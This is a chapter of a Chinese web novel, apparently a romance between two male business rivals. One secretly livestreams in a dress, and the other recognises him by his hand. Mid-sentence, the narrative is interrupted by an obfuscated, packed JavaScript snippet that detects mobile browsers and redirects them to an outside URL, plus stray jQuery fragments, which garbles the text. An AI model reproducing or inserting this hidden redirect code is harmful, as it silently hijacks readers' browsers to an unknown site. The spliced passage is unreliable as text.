卡宴缓缓驶入栖江雅苑，直接开进了地下车库。


    栖江雅苑是A市十大顶级豪宅之一，位于最繁华的地段，盘踞在江边，当初孟业紧急召回顾祁安，开口就送了他这套三百平的一线江景大平层。


    顾祁安打开家门，玄关处的感应灯应声而亮。


    两百七十度环绕式全景落地窗，整体装修是意式简奢风格，空间太大反而显得很冷清，没有什么生活的气息。


    顾祁安住进来后，几乎没动过房子里的装修和家具，一切都维持着原来的样子。


    他抬手松了松领结，打开冰箱取出一瓶水，来到落地窗前，垂眸望着夜色笼罩中的江景。


    良久后，顾祁安转身走向卧室方向。


    洗完澡，他裹着睡袍走出浴室，来到书房打开电脑处理公事。


    墙上悬挂的时钟指向十一点，顾祁安抬手摘下眼镜，捏了捏鼻梁，脑海里冷不丁浮现出一双漆黑深邃的眼睛。


    他想起了跟秦樾第一次交手时的场景，当时胜负已定，坐在他对面的秦樾看着没什么表情，盯着他的眼神却像是要将他生吞活剥了。


    而这次的“绿洲”项目由A市政府牵头，斥资百亿，目的是打造A市生态型新地标，打造科创高地+产城融合标杆区。


    如今房地产行业很不景气，这个项目最强有力的竞争者，显然还是盛泰和寰宇两大集团。


    虽然顾祁安抢先收购了清源科技，在竞标“绿洲”项目上有一定的优势，但他依然不敢轻敌大意。


    秦樾外表看起来风流浪荡，却并非孟思耀那种不学无术的二世祖。事实上，这位寰宇集团的太子爷眼光毒辣，手段狠绝，甚至有几次比他下手更快。


    “嗡嗡”的手机震动声，打断了顾祁安的思绪。


    他回过神来，看见来电显示时，微微蹙了蹙眉。


    但很快，顾祁安拿起手机，接通电话：“孟叔。”


    电话那头传来孟业沉闷低缓的声音：“祁安，还没睡吧？”


    “还没睡。”顾祁安回道，“这么晚了，您有什么事吗？”


    孟业照例询问了新项目的进度，聊了几句后便转向正题：“思耀最近在公司干得怎么样了？”


    “刚跟我立下军令状。”顾祁安简单回道，“孟叔一个月后就可以验收成果了。”


    “好好好，我就咳咳……”孟业一激动，猛地咳嗽起来，缓了一阵后继续说，“我就知道，只有你能降得住那个混小子，辛苦你了祁安。”


    不等顾祁安回话，他又接着说道：“不过也是因为孟叔只相信你，才会把盛泰和思耀都托付给你。祁安，你一定不会辜负我对你的信任，对吗？”


    顾祁安沉默了几秒，只淡淡回道：“孟叔，您安心养病。”


    两年前，顾祁安空降盛泰集团CEO时，集团内外舆论哗然，所有人都不明白孟业为何会将这个庞大的商业帝国，轻易交到一个外人手里。


    尽管顾祁安算是孟业一手培养出来的人，可他毕竟不姓孟，跟孟家没有血缘关系。


    除了顾祁安和孟业身边少数几个亲信，就连孟思耀都不知道，孟董其实是去养病了。


    挂断电话后，顾祁安轻舒一口气，阖上电脑，起身回卧室休息。


    他打开床头灯，躺在大床上，闭着眼睛试图酝酿睡意。


    好半晌后，顾祁安从床上坐起身来，光脚踩在地毯上，走向衣帽间。


    他拉开衣帽间最里面的衣橱，指尖轻轻抚过柔软丝滑的布料，从里面挑出了一件白色吊带长裙。


    顾祁安换上长裙，熟练地调整手机支架，摆好镜头确认不会露脸，然后打开了直播。


    直播间一开通，就迅速涌进了一批观众。


    [前排沙发！！]


    [啊啊啊77老婆上线了！]


    [卧槽！77老婆最近直播好频繁，这真的是我可以拥有的快乐吗？！！]


    ……


    顾祁安并没有去看刷屏的弹幕，拿起放在旁边的平板继续处理工作。


    最开始发现这个平台的契机，是盛泰文化娱乐事业群想收购一个新兴的短视频平台，所以他抽空下载了这个app。


    那天他在平台上刷到直播，发现有不少不露脸的主播，一时鬼使神差也开通了直播间。


    每次直播他都会穿一件裙子，不露脸，也不聊天，只专心做自己手上的事，不知怎么回事，竟然吸引了一批稳定的观众。


    也许是因为那些观众也很无聊，才会被他这个无聊的主播所吸引吧。


    *


    晚上十一点半，秦樾擦着湿漉漉的头发走出浴室。


    他随手将毛巾丢到椅背上，拿起桌上的手机，点击下载某短视频app。


    他的手机里一向没有什么视频软件，在他看来，刷短视频就是在浪费时间，浪费时间无异于浪费金钱。


    不过短视频已成大势所趋，听说盛泰最近有意向收购这个平台，秦樾自然不能错过这出好戏。


    下载完成后，他注册了一个新账号，又随便取了个昵称，开始研究app。


    这个新兴的短视频平台功能模式没什么新奇的地方，只是增加了基于兴趣标签建立的小型社交圈子，增强了app的互动交友属性。


    果然无论什么软件，最后都可以沦为交友软件。


    秦樾刷了会儿视频，只觉得无聊，又点进直播分类。


    由于刚注册，平台算法尚未捕捉到用户感兴趣的内容，推荐的直播类型五花八门。


    秦樾快速划走了几个直播，视线突然在某个直播间停留下来。


    镜头里是一个不露脸的主播，穿了件白色吊带裙，细细的吊带卡在肩头的凸起处，连着两道精致凹陷的锁骨。


    胸前大片肌肤白得发光，柔软的布料贴着微微隆起的弧度，露出的手臂也很白，肌肉线条流畅而不夸张。


    尽管赏心悦目，但从骨架和肌肉来判断，应该不是女性。


    秦樾对女装大佬并不感兴趣，正准备继续划走，目光不经意地落在了主播的手上。


    手指纤长，肤色冷白，手背上青色血管鲜明，指尖和关节处却透着淡淡的薄粉，仿佛一尊精雕细琢的艺术品。


    而握水杯的那只左手，无名指指缝间有一粒小红痣，平添了几分说不出的涩气，光是看着就令人心猿意马。


    秦樾眯了眯黑眸，双眼死死盯着镜头里的那只手。


    对于手控的人来说，这是一只完美得令人过目难忘的手，跟顾祁安在合同上签字的那只手，简直一模一样。


    一瞬间，秦樾脑海中浮现出一个相当荒谬的念头。


    77……


    祁祁？


    秦樾就这么直勾勾地盯了一分钟，才勉强回过神来。


    他点击关注主播，退回后台充值，然后重新返回直播间，一口气刷了五十个嘉年华。


    嘉年华重叠炸开的特效华丽而绚烂，弹幕也跟着炸开了。


    顾祁安喝水的间隙，随意瞥了眼手机屏幕，不由


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300009|167134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    愣了愣。


    因为他的直播时间并不固定，也没有露过脸，甚至不会跟粉丝进行互动，所以平常基本没什么人给他刷礼物。


    今天怎么突然来了个土豪大哥，上来就刷这么多嘉年华？


    顾祁安放下水杯，猜测这位土豪大哥应该是把他当成女主播了。


    他对着镜头打了个下播的手势，结束直播，点进后台私信刚才的榜一大哥。


    为了不被骚扰，他设置了粉丝不可私信，这是他第一次主动在这个平台上私信别人。


    77：【你好，留下收款方式，我把打赏折现退给你。】


    呵呵：【不用退，送你的礼物。】


    顾祁安看着对方自带嘲讽的昵称和系统默认头像，觉得有点莫名其妙。


    77：【你可能误会了，我是男主播。】


    呵呵：【没误会，就是刷给你的。】


    77：【谢谢，但我不收打赏。】


    呵呵：【行，那你留个联系方式，我加你。】


    顾祁安思索片刻后，将自己用来注册账号的微信小号发了过去。


    过了好一会儿，微信小号才收到添加好友的请求。


    顾祁安点击同意，加上好友后又主动给对方发了条消息。


    77：【微信里没钱，银行卡号发我，我转你。】


    Y：【你放心，我成年了，礼物也是自愿刷的。】


    77：【我不需要。】


    Y：【我想给你刷。】


    顾祁安轻“啧”一声，还没来得及打字，对面又发来新的消息。


    Y：【你在这个平台直播多久了？】


    77：【没多久。】


    发完这句话后顾祁安就放下了手机，不打算再继续回复。


    这个世上没有免费的午餐，任何东西明里暗里都标好了价格，钱本身自然也不例外。


    算了，等明天有空去找平台介入，直接退款至打赏的账户。


    就在这时，手机屏幕又弹出一条新消息。


    Y：【其实今天是我第一天注册账号。】


    顾祁安迟疑了一下，重新拿起手机。


    77：【第一天注册，为什么就给我刷这么多礼物？】


    Y：【因为你穿裙子好看。】


    顾祁安眉心微动，悬在手机屏幕上方的指尖顿住了。


    他从第一天直播开始，就没刻意隐瞒过自己的性别，他只是有穿裙子的癖好，但他对自己没有性别认知障碍。


    刚开始直播时有弹幕骂他“变态”“人妖”“恶心”，因为直播间人少所以格外刺眼，所以他就养成了不看弹幕的习惯。


    77：【你不觉得男人喜欢穿裙子，很变态吗？】


    Y：【不觉得。】


    Y：【你穿裙子很好看。】


    秦樾回复完消息，打开相册，来回审视着刚才从直播间里截的图。


    他实在很难把眼前这个穿白色吊带裙的女装大佬，跟那位永远西装革履，将衬衫扣至最后一粒的顾总联系起来。


    但他想象了一下，如果这幅身体顶着顾祁安那张脸，倒也不会觉得违和或是恶心，反而……


    “呵。”秦樾发出一声意味不明的笑，眸底涌起一股浓浓的兴味。


    他现在迫不及待地想确认，这个77究竟是不是顾祁安。


    如果是，谁能想到那位从不正眼瞧他的高岭之花，私下里竟然有这样一副不为人知的模样呢？


    有趣，实在是太有趣了。